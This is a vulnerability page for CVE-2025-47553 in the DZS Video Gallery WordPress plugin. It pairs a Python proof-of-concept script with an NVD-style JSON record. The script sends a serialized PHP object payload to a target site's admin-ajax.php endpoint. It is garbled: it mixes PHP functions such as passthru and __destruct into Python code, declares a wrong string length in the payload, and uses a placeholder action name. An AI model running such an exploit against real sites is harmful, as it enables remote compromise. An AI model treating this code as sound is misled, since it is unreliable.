CVE-2025-47553

# CVE-2025-47553 DZS Video Gallery PHP Object Injection PoC # This PoC demonstrates the PHP Object Injection vulnerability in DZS Video Gallery < 12.26 import requests import sys from urllib.parse import urlencode # Malicious serialized payload - triggers __destruct() magic method # This is a proof-of-concept payload structure class MaliciousPayload: def __init__(self, cmd): self.cmd = cmd def __destruct(self): # This will execute when the object is destroyed # In real attack, this could execute system commands passthru(self.cmd) def generate_payload(): """Generate malicious serialized object""" # Example: Using phpggc-like payload structure # In practice, this would need to match the available gadget chain payload = 'O:14:"MaliciousClass":1:{s:4:"cmd";s:10:"whoami";}' return payload def exploit(target_url, endpoint='wp-admin/admin-ajax.php'): """ Exploit CVE-2025-47553 """ target = target_url.rstrip('/') # Construct the attack request payload = generate_payload() params = { 'action': 'dzs_video_gallery_action', # Example action name 'post_id': '1', 'video_data': payload } url = f"{target}/{endpoint}" print(f"[*] Targeting: {url}") print(f"[*] Sending malicious payload...") try: response = requests.post(url, data=params, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response: {response.text[:500]}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com") sys.exit(1) exploit(sys.argv[1])

{"cve": {"id": "CVE-2025-47553", "sourceIdentifier": "[email protected]", "published": "2026-01-06T17:15:44.070", "lastModified": "2026-04-28T19:32:24.930", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Deserialization of Untrusted Data vulnerability in Digital zoom studio DZS Video Gallery allows Object Injection.This issue affects DZS Video Gallery: from n/a through 12.25."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://patchstack.com/database/wordpress/plugin/dzs-videogallery/vulnerability/wordpress-dzs-video-gallery-plugin-12-25-php-object-injection-vulnerability?_s_id=cve", "source": "[email protected]"}]}}